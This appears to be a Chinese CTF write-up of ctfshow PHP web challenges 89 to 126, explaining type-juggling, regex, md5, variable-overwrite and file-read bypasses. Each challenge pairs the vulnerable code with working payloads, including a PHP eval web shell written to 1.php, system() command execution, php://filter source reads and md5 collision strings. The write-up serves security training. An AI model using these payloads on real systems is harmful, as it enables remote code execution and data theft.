web 89-preg_match无法处理数组绕过

题目

  1. include("flag.php");
  2. highlight_file(__FILE__);
  3. if(isset($_GET['num'])){
  4. $num = $_GET['num'];
  5. if(preg_match("/[0-9]/", $num)){
  6. die("no no no!");
  7. }
  8. if(intval($num)){
  9. echo $flag;
  10. }
  11. }

考察php的preg_match和intval两个方法特性
intval()
返回值:成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。

echo intval(42); // 42 echo intval(4.2); // 4 echo intval(array()); // 0 echo intval(array(‘foo’, ‘bar’)); // 1

preg_match(string$pattern , string$subject)
返回 pattern 的匹配次数。 它的值将是0次(不匹配)或1次,如果发生错误preg_match()返回 FALSE
preg_match要求输入的参数是字符串型,如果输入数组型,则发成错误返回false

payload
?num[]=abc

web 90-intval数值转换特性

  1. <?php
  2. /*
  3. # -*- coding: utf-8 -*-
  4. # @Author: h1xa
  5. # @Date: 2020-09-16 11:25:09
  6. # @Last Modified by: h1xa
  7. # @Last Modified time: 2020-09-18 16:06:11
  8. # @email: h1xa@ctfer.com
  9. # @link: https://ctfer.com
  10. */
  11. include("flag.php");
  12. highlight_file(__FILE__);
  13. if(isset($_GET['num'])){
  14. $num = $_GET['num'];
  15. if($num==="4476"){
  16. die("no no no!");
  17. }
  18. if(intval($num,0)===4476){
  19. echo $flag;
  20. }else{
  21. echo intval($num,0);
  22. }
  23. }

分析:
num的数值型等于4476,但是不能等于字符串”4476”,根据php弱类型比较的特性,输入4476a,4476的各类进制转换均可绕过

<?php var_dump(intval(‘admin’)); #0 var_dump(intval(‘123adst’)); #123 var_dump(intval(‘ 123adst’)); #123 忽略字符串前空格 var_dump(intval(0x7b)); #123 var_dump(intval(0173)); #123 var_dump(intval(‘0173’)); #173 var_dump(intval(0b1111011)); #123 var_dump(intval(9800000000000000000000000000000000000000)); #0 var_dump(intval(‘9800000000000000000000000000000000000000’)); #2147483647 var_dump(intval(42, 8)); # 42 var_dump(intval(‘42’, 8)); # 34 var_dump(intval(1e10)); # 1410065408 var_dump(intval(‘1e10’)); # 1 var_dump(intval(array())); # 0 var_dump(intval(array(‘foo’, ‘bar’))); # 1 ?>

intval返回值

  • 成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。
  • 最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, intval(‘1000000000000’) 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。
  • 字符串有可能返回 0,虽然取决于字符串最左侧的字符。

web 91-正则表达式/m多行匹配

  1. <?php
  2. /*
  3. # -*- coding: utf-8 -*-
  4. # @Author: Firebasky
  5. # @Date: 2020-09-16 11:25:09
  6. # @Last Modified by: h1xa
  7. # @Last Modified time: 2020-09-18 16:16:09
  8. # @link: https://ctfer.com
  9. */
  10. show_source(__FILE__);
  11. include('flag.php');
  12. $a=$_GET['cmd'];
  13. if(preg_match('/^php$/im', $a)){
  14. if(preg_match('/^php$/i', $a)){
  15. echo 'hacker';
  16. }
  17. else{
  18. echo $flag;
  19. }
  20. }
  21. else{
  22. echo 'nonononono';
  23. }

分析:
^$表示首尾匹配,’/^php$/i’则仅能匹配php不区分大小写
‘/^php$/im’相较而言多了/m,表示的是多行匹配

m修饰符规定正则表达式可以执行多行匹配。
m修饰符的作用是修改^和$在正则表达式中的作用,让它们分别表示行首和行尾。
在默认状态下,一个字符串无论是否换行只有一个开始^和结尾$,如果采用多行匹配,那么每一个行都有一个^和结尾$。

payload:
cmd=qq%aphp
%0a表示换行,虽然第一行不匹配,但第二行匹配php,从而进行绕过

web 92-intval数值转换特性+弱类型比较

同web90
区别在于第一个比较换成了弱类型比较符==
if($num==”4476”){
die(“no no no!”);
}

=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较 == 在进行比较的时候,会先将字符串类型转化成相同,再比较

因此 4476a在弱类型比较中会转换成数值4476,只能用进制转换绕过

web 93-intval数值转换特性+弱类型比较

同web 92
继续加条件
if(preg_match(“/[a-z]/i”, $num)){
die(“no no no!”);
}
不能有字母,可以用八进制
十进制数为:4476
转换为二进制为:0b1000101111100
转换为八进制为:010574
转换为十六进制为:0x117c

web 94-strpos-查找字符串首次出现的位置

在web93基础上继续加条件
if(!strpos($num, “0”)){
die(“no no no!”);
}
strpos-查找字符串首次出现的位置,字符串位置是从0开始,而不是从1开始的
这条是想限制使用其他进制绕过,好在intval()函数可忽略字符串前的空格
payload:
?num= 010574 #前面有空格
或者
?num=4476.0

web 95-strpos-查找字符串首次出现的位置

在web94的基础上正则限制了“.”
if(preg_match(“/[a-z]|./i”, $num)){
die(“no no no!!”);
}
payload:
?num= 010574 #前面有空格
?num=+010574
?num=%0a010574
?num=%0b010574

web 96-字符串绕过

  1. <?php
  2. /*
  3. # -*- coding: utf-8 -*-
  4. # @Author: h1xa
  5. # @Date: 2020-09-16 11:25:09
  6. # @Last Modified by: h1xa
  7. # @Last Modified time: 2020-09-18 19:21:24
  8. # @link: https://ctfer.com
  9. */
  10. highlight_file(__FILE__);
  11. if(isset($_GET['u'])){
  12. if($_GET['u']=='flag.php'){
  13. die("no no no");
  14. }else{
  15. highlight_file($_GET['u']);
  16. }
  17. }

输入不能等于flag.php
payload:
绝对路径:?u=/var/www/html/flag.php
相对路径:?u=./flag.php
伪协议:?u=php://filter/resource=flag.php

web 97-md5比较漏洞

  1. <?php
  2. /*
  3. # -*- coding: utf-8 -*-
  4. # @Author: h1xa
  5. # @Date: 2020-09-16 11:25:09
  6. # @Last Modified by: h1xa
  7. # @Last Modified time: 2020-09-18 19:36:32
  8. # @link: https://ctfer.com
  9. */
  10. include("flag.php");
  11. highlight_file(__FILE__);
  12. if (isset($_POST['a']) and isset($_POST['b'])) {
  13. if ($_POST['a'] != $_POST['b'])
  14. if (md5($_POST['a']) === md5($_POST['b']))
  15. echo $flag;
  16. else
  17. print 'Wrong.';
  18. }
  19. ?>

涉及到md5比较漏洞,常见的有一下三种:
1、弱比较

  1. if($_POST['a']!=$_POST['b']&& md5($_POST['a'])==md5($_POST['b'])){
  2. die("success!");
  3. }

在弱类型比较中0e开头的会被识别成科学计数法,结果均为0,比较时0=0为true绕过
payload
a=QNKCDZO&b=s878926199a
常用md5加密后为0的字符串:
240610708
aabg7XSs
aabC9RqS
s878926199a
2、强比较

if($_POST['a']!==$_POST['b']&& md5($_POST['a'])===md5($_POST['b'])){
    die("success!");
}

=== 要求数据类型相同,数值相同,以上方法就不能绕过了,但可以通过数组绕过
因为md5无法处理数组,返回结果是null,所以null===null即可绕过
image.png
payload
a[]=1&b[]=2
3、强碰撞

if((string)$_POST['a']!==(string)$_POST['b'] && md5($_POST['a'])===md5($_POST['b'])){
    die("success!");
}

由于强行转换成string类型,数组则不能绕过了
payload,需要使用burp发送

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

原理:这一大长串的编码,他们的md5值是相等的,原理是将hex字符串转化为ascii字符串,并写入到bin文件
考虑到要将一些不可见字符传到服务器,这里使用url编码

本题使用方法2、3均可绕过

涉及到md5数值比较的详见文章
https://blog.csdn.net/EC_Carrot/article/details/109525162
https://www.jianshu.com/p/c9089fd5b1ba

web 98-三目运算+参数传址

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com

*/

include("flag.php");

# 如果存在get传参,则get请求变post传参;或者理解为给$_GET赋的是$_POST的值
$_GET?$_GET=&$_POST:'flag';

# 如果get传的flag参数等于'flag'(实际是post'),则get赋值的是cookie的值
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
# 同上,赋予server的值,但实际操作没有实现?
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';

# 如果GET传参 HTTP_FLAG=flag,就执行highlight_file(flag),否则执行highlight_file(__FILE__)
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

知识点:
1、三目运算
(expr1) ? (expr2) : (expr3);
如果表达式1满足,则返回表达式2,否则返回表达式3
2、参数传址(引用)

$a=123; $b=$a; //b仅被赋予参数a的值,当a的值改变时,b的值不变 $c=&$a; //b被赋予的是a的地址,当a的值改变时,b的结果也跟着改变 $a=222; var_dump($b); // 123 var_dump($c); // 222

3、highlight_file高亮输出指定文件的代码

payload
方法1
image.png
方法2
image.png

web 99-弱类型比较

<?php

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    // 生成随机整数放入数组
    array_push($allow, rand(1,$i));
}
// 传入参数n的值在allow中存在,则将content的内容写入n
// 可利用in_array的弱类型比较传入1.php,然后content写入一句话木马即可
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>

in_array函数在没有设置第三个参数的时候 存在弱类型比较漏洞
image.png

payload
get:?n=1.php
post:content=<?php eval($_POST[1]);?>

web 100-赋值运算符优先级高于and/or

<?php

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }

}


?>

分析:
咋一看需要v1、v2、v3都要是数字,但是由于赋值运算符的优先级比AND和OR的高,所以先赋值;比&&和||的低,所以逻辑运算符先执行,先逻辑运算,再赋值。所以只需要v1是数字即可。

$p = 6 or 0; var_dump($p);//int(6)

$p = 6 || 0; var_dump($p);//bool(true)

$p = 6 and 0; var_dump($p); //int(6)

$p = 6 && 0; var_dump($p); //bool(false)

然后,v2不能有” ; “,v3必须有” ; “
payload
提示了flag在ctfshow类中
?v1=1&v2=print_r($ctfshow)&v3=;
?v1=1&v2=var_dump($ctfshow)&v3=;
也可以用如下方式直接连蚁剑,或者post送参数
?v1=1&v2=eval($_POST[1])?>&v3=;

web 101-反射类

<?php

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }

}

?>

在上题的基础之上对v2和v3做了更多限制
可使用反射类绕过,反射类的作用是根据类名反射一个类。

<?php
class A{
public static $flag="flag{123123123}";
const  PI=3.14;
static function hello(){
    echo "hello</br>";
}
}
echo new ReflectionClass('A');

//output:
// Class [ <user> class A ] {
//   @@ D:\phpStudy\WWW\hint.php 2-8

//   - Constants [1] {
//     Constant [ float PI ] { 3.14 }
//   }

//   - Static properties [1] {
//     Property [ public static $flag ]
//   }

//   - Static methods [1] {
//     Method [ <user> static public method hello ] {
//       @@ D:\phpStudy\WWW\hint.php 5 - 7
//     }
//   }

//   - Properties [0] {
//   }

//   - Methods [0] {
//   }
// }

var_dump($a->getConstants());  //获取一组常量
输出
 array(1) {
  ["PI"]=>
  float(3.14)
}

var_dump($a->getName());    //获取类名
输出
string(1) "A"

var_dump($a->getStaticProperties()); //获取静态属性
输出
array(1) {
  ["flag"]=>
  string(15) "flag{123123123}"
}

var_dump($a->getMethods()); //获取类中的方法
输出
array(1) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(5) "hello"
    ["class"]=>
    string(1) "A"
  }
}

虽然不是很理解反射类的用发,不过通过echo new Reflectionclass(“类名”)好像可以输出类中的全部内容,于是就可以把flag输出数来了
payload
?v1=1&v2=echo new Reflectionclass&v3=;

web 102-字符转换绕过

<?php

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}
?>

分析
1、v2需要是数字,或数字字符串
2、substr函数对v2做字符串截取,substr从0开始计算位置
3、v1是带一个参数的是函数
call_user_func是个回调函数,把第一个参数作为回调函数调用
用法:call_user_func(函数名,函数对应的参数)
4、v3是一个文件名,file_put_contents将str写入v3中

payload
get:?v2=115044383959474e6864434171594473&v3=php://filter/convert.base64-decode/resource=1.php
post:v1=hex2bin

hex2bin 转换十六进制字符串为二进制字符串,不是转成二进制数,是转成字符串 <?=cat *; //base64加密得到PD89YGNhdCAqYDs= PD89YGNhdCAqYDs //由于base64最后的=号只是填充符,可以直接去掉 5044383959474e6864434171594473 //PD89YGNhdCAqYDs转十六进制得到,前面加两个1是为了绕过substr

带e的字符串可以看作是科学计数法,从而被is_numeric判断为数字
因为输入的是PD89YGNhdCAqYDs,即<?=cat *; 的base64表示,需要使用伪协议的base64-decode通道解密

web 103-字符转换绕过

增加了字符限制,str中不能出现php字符串
if(!preg_match(“/.p.h.p./i”,$str)){
file_put_contents($v3,$str);
}
但没有对上题的payload没有影响,上题可过

web 104-弱类型比较

考点要满足
sha1($v1)==sha1($v2)
==弱类型比较问题
因为本题没有限制v1、v2传入一样的值即可
get:?v2=2
post:v1=2
可能是出题人遗漏了,正常情况v1和v2的值不能一样
web 106是正常的题型:
1、构造0e开头的数字,将看成科学计数法认为是0
满足if(sha1($v1)==sha1($v2) && $v1!=$v2)有:
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
2、如果传入的不是字符串而是数组,不但md5()函数不会报错,结果还会返回null,在强比较里面null=null为true绕过
get:?v2[]=2
post:v1[]=2

可以学习大佬的总结:CTF中的md5弱类型(ALL_IN_ONE)

web 105-变量覆盖

<?php

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);  # 输出1
}
echo "your are good".$flag."\n";
die($suces); # 输出2

?>

分析:
目前有三个变量
$error=’你还想要flag嘛?’;
$suces=’既然你想要那给你吧!’;
$flag未知

include(‘flag.php’);根据这句可知存在一个flag.php文件
猜测内容应该为

<?php

$flag='fffffffflllllagggggg';

?>

正常访问情况下,由于不满足!($_POST[‘flag’]==$flag)所以执行了die($error);
由于die($error);的执行导致后面的echo “your are good”.$flag.”\n”;和die($suces); 不输出
image.png
为了验证一下,把第一个die()注释了,则输出了后面两句
image.png
payload1:
?suces=flag&flag=
利用die($suces)输出flag,即将flag变量覆盖suces
利用flag=,也可以flag=任意值,绕过!($_POST[‘flag’]==$flag)判断
至于为什么echo “your are good”.$flag.”\n”;中的$flag没有输出,还没弄明白
image.png
payload2:
get:?suces=flag
post:error=suces
利用第一了die(error)进行输出
在没有if条件限制的情况下?error=flag即可
为了验证结果,对一下代码稍作修改
image.png
但是get的参数不能是error,get传的值不能是flag
那么不能get就改成post即可 error=flag
但是再一次限制post不能传入值为flag,这时候需要一个中间变量过度一下利用suces进行过度
image.png

web 107-parse_str

<?php

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}

?>

其实还是一个弱类型比较的题,新增了一个考点就是
parse_str函数的用法:将字符串解析成多个变量

<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";

// 推荐用法
parse_str($str, $output);
echo $output['first'];  // value
echo $output['arr'][0]; // foo bar
echo $output['arr'][1]; // baz

// 不建议这么用
parse_str($str);
echo $first;  // value
echo $arr[0]; // foo bar
echo $arr[1]; // baz
?>

payload
1、md5匹配
get:?v3=a
post:v1=flag=0cc175b9c0f1b6a831c399e269772661
//0cc175b9c0f1b6a831c399e269772661 为a的md5的值

2、弱类型比较
get:?v3=240610708
post:v1=flag=0e123

3、数组报错
get:?v3[]=1
post:v1[]=2

0e开头的md5和原值

QNKCDZO 0e830400451993494058024219903391 240610708 0e462097431906509019562988736854 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e731198061491163073197128363787 s1502113478a 0e861580163291561247404381396064 s1836677006a 0e481036490867661113260034900752 s1091221200a 0e940624217856561557816327384675 s155964671a 0e342768416822451524974117254469 s1502113478a 0e861580163291561247404381396064 s155964671a 0e342768416822451524974117254469 s1665632922a 0e731198061491163073197128363787 s155964671a 0e342768416822451524974117254469 s1091221200a 0e940624217856561557816327384675 s1836677006a 0e481036490867661113260034900752 s1885207154a 0e509367213418206700842008763514 s532378020a 0e220463095855511507588041205815 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s214587387a 0e848240448830537924465865611904 s1502113478a 0e861580163291561247404381396064 s1091221200a 0e940624217856561557816327384675 s1665632922a 0e731198061491163073197128363787 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1665632922a 0e731198061491163073197128363787 s878926199a 0e545993274517709034328855841020

web 108-ereg函数null截断漏洞

<?php

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

?>

分析:
^[a-zA-Z]+$表示:以大小写字母开头和结尾,中间重复至少一个[a-zA-Z]中的值,其实就是只能是大小写字母构成的字符串
ereg:匹配正则表达式;如果在 string 中找到 pattern 模式的匹配则返回 所匹配字符串的长度,如果没有找到匹配或出错则返回 FALSE。如果没有传递入可选参数 regs 或者所匹配的字符串长度为 0,则本函数返回 1。
strrev:字符串逆序输出
intval:字符串取整,以字符开头的字符串取整为0
0x36d转成整数就是877,所以c应该输入778,由于正则表达式的限制只能输入字母
于是用到了ereg函数的一个漏洞,ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配(ascii码0表示null)
payload
?c=a%00778

?web 109-eval(“echo new $v1($v2());”);

<?php

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

?>

正则表达式比较容易,包含一个字母就行
不太理解原理,先贴payload
payload
?v1=Exception&v2=system(‘cat fl36dg.txt’)
?v1=ReflectionClass&v2=system(‘cat fl36dg.txt’)

?web 110-

<?php

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

?>

用到两个函数
getcwd():获取当前文件目录
image.png
FilesystemIterator 遍历文件的类
payload
?v1=FilesystemIterator&v2=getcwd

web 111-GLOBALS全局变量

<?php

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

// 变量覆盖
//$v1='ctfshow' 此时ctfshow只是一个字符串
//$$v1='ctfshow' 此时ctfshow是一个变量
function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }

    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
}

?>

知识点:
$GLOBALS — 引用全局作用域中可用的全部变量,一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

<?php

$x=123456;
$y='hello';
var_dump($GLOBALS);

// 输出:包含了全局域中全部的变量,其中就有上面定义的$x和$y
// ["x"]=>
// int(123456)
// ["y"]=>
// string(5) "hello"

v1赋值ctfshow为了满足正则表达式
payload
?v1=ctfshow&v2=GLOBALS

web 112-文件名绕过

<?php

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

分析:
is_file()判断给定文件名是否为一个正常的文件
输入flag.php报hacker,说明存在该文件,绕过正则的话可以借助伪协议
image.png
payload
?file=php://filter/resource=flag.php
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
?file=compress.zlib://flag.php

web 113-文件名绕过

在上题的基础上进一步限制字符串filter
可以用读取压缩流绕过
?file=compress.zlib://flag.php
也可以利用目录溢出,从而让is_file认为不是一个文件
linux里/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容多次重复后绕过is_file。
payload

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

web 114-文件名绕过

没有限制filter
?file=php://filter/resource=flag.php

web 115-trim绕过

<?php

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}

考点:
trim — 去除字符串首尾处的空白字符(或者其他字符)
image.png
注意trim将去除的字符,%0c不包含在内
%0c表示换页符
虽然0会被替换,但是浏览器中%0c被解析为换页符,不可见字符从而不被替换
payload
?num=%0d36

web 123-突破函数禁用

<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

分析:
第一关
if(isset($POST[‘CTF_SHOW’])&&isset($_POST[‘CTF_SHOW.COM’])&&!isset($_GET[‘fl0g’]))
isset — 检测变量是否已设置并且非 NULL
需要POST参数CTF_SHOW,CTF_SHOW.COM,不能GET参数fl0g
知识点:PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格 + . [ 转换为

所以传入CTFSHOW.COM时,.会被转换成
但是有个特性,特殊字符[, GET或POST方式传参时,变量名中的[也会被替换为,但其后的字符就不会被替换了
所以CTF_SHOW.COM 可以改为 CTF[SHOW.COM,这样[被转换成
,而后面的.不会被转换

第二关
eval(“$c”.”;”);看出可以尝试代码执行,需要绕过正则表达式
按照出题思路需要给$fl0g赋值flag_give_me,但又不能直接get传值,可使用以下方法,不过本题中被限制
image.png
随便echo一个值,正常输出
image.png
连续尝试其他函数发现被禁用
system()
var_dump()
print_r()

可用函数
getcwd()
image.png
get_included_files()
get_defined_vars — 返回由所有已定义变量所组成的数组
implode — 将一个一维数组的值转化为字符串

payload
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=echo implode(get_defined_vars())
可以直接输出$flag
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

最后提一句,其中有一个判断 $c<=18
由于fun传入的时字符串,echo开头被转化成数值为0,如果时大于18的话字符串开头应该类似19echo,保证前面的数字大于18即可

web 125-突破函数禁用

在上题的基础上限制了更多的字符串

if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }

在上题的基础上想办法用其他函数替换echo
payload1
POST:CTF_SHOW=1&CTF[SHOW.COM=2&fun=highlight_file($_GET[1])
GET:?1=flag.php
payload2
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=var_export(get_defined_vars())
var_export-输出或返回一个变量的字符串表示

?web 126-

在上题基础上增加了更过字符限制

<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

payload1
get:
?a=1+fl0g=flag_give_me
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

payload2
get:
?$fl0g=flag_give_me
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

$_SERVER详解

$_SERVER[‘HTTP_ACCEPT_LANGUAGE’]//浏览器语言
$_SERVER[‘REMOTE_ADDR’] //当前用户 IP 。
$_SERVER[‘REMOTE_HOST’] //当前用户主机名
$_SERVER[‘REQUEST_URI’] //URL
$_SERVER[‘REMOTE_PORT’] //端口。
$_SERVER[‘SERVER_NAME’] //服务器主机的名称。
$_SERVER[‘PHP_SELF’]//正在执行脚本的文件名
$_SERVER[‘argv’] //传递给该脚本的参数。
$_SERVER[‘argc’] //传递给程序的命令行参数的个数。
$_SERVER[‘GATEWAY_INTERFACE’]//CGI 规范的版本。
$_SERVER[‘SERVER_SOFTWARE’] //服务器标识的字串
$_SERVER[‘SERVER_PROTOCOL’] //请求页面时通信协议的名称和版本
$_SERVER[‘REQUEST_METHOD’]//访问页面时的请求方法
$_SERVER[‘QUERY_STRING’] //查询(query)的字符串。
$_SERVER[‘DOCUMENT_ROOT’] //当前运行脚本所在的文档根目录
$_SERVER[‘HTTP_ACCEPT’] //当前请求的 Accept: 头部的内容。
$_SERVER[‘HTTP_ACCEPT_CHARSET’] //当前请求的 Accept-Charset: 头部的内容。
$_SERVER[‘HTTP_ACCEPT_ENCODING’] //当前请求的 Accept-Encoding: 头部的内容
$_SERVER[‘HTTP_CONNECTION’] //当前请求的 Connection: 头部的内容。例如:“Keep-Alive”。
$_SERVER[‘HTTP_HOST’] //当前请求的 Host: 头部的内容。
$_SERVER[‘HTTP_REFERER’] //链接到当前页面的前一页面的 URL 地址。
$_SERVER[‘HTTP_USER_AGENT’] //当前请求的 User_Agent: 头部的内容。
$_SERVER[‘HTTPS’]//如果通过https访问,则被设为一个非空的值(on),否则返回off
$_SERVER[‘SCRIPT_FILENAME’] #当前执行脚本的绝对路径名。
$_SERVER[‘SERVER_ADMIN’] #管理员信息
$_SERVER[‘SERVER_PORT’] #服务器所使用的端口
$_SERVER[‘SERVER_SIGNATURE’] #包含服务器版本和虚拟主机名的字符串。
